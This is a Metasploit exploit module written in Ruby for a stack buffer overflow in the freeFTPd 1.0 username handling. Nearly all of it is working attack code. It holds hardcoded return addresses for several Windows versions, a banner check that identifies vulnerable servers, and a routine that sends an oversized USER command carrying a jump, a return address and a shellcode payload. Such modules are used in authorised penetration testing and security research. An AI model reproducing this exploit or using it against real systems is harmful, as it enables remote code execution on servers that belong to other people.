93 lines
1.9 KiB
Ruby
93 lines
1.9 KiB
Ruby
require 'msf/core/exploit/ftp'
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module Msf
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class Exploits::Windows::Ftp::FreeFTPDUserOverflow < Msf::Exploit::Remote
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include Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'freeFTPd 1.0 Username Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the freeFTPd
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multi-protocol file transfer service. This flaw can only be
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exploited when logging has been enabled (non-default).
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},
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'Author' => 'MC <y0@w00t-shell.net>',
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x20\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'Windows 2000 English ALL',
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{
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'Platform' => 'win',
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'Rets' => [ 0x75022ac4 ],
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},
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],
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[
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'Windows XP Pro SP0/SP1 English',
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{
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'Platform' => 'win',
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'Rets' => [ 0x71aa32ad ],
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},
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],
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[
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'Windows NT SP5/SP6a English',
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{
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'Platform' => 'win',
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'Rets' => [ 0x776a1799 ],
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},
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],
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[
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'Windows 2003 Server English',
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{
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'Platform' => 'win',
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'Rets' => [ 0x7ffc0638 ],
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},
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],
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]))
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end
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def check
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connect
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disconnect
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if (banner =~ /freeFTPd 1\.0/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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buf = Rex::Text.rand_text_english(1016, payload_badchars)
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buf[1008, 2] = "\xeb\x06"
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buf[1012, 4] = [ target['Rets'][0] ].pack('V')
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buf << payload.encoded
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send_cmd( ['USER', buf] , false)
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disconnect
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handler
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end
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end
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end
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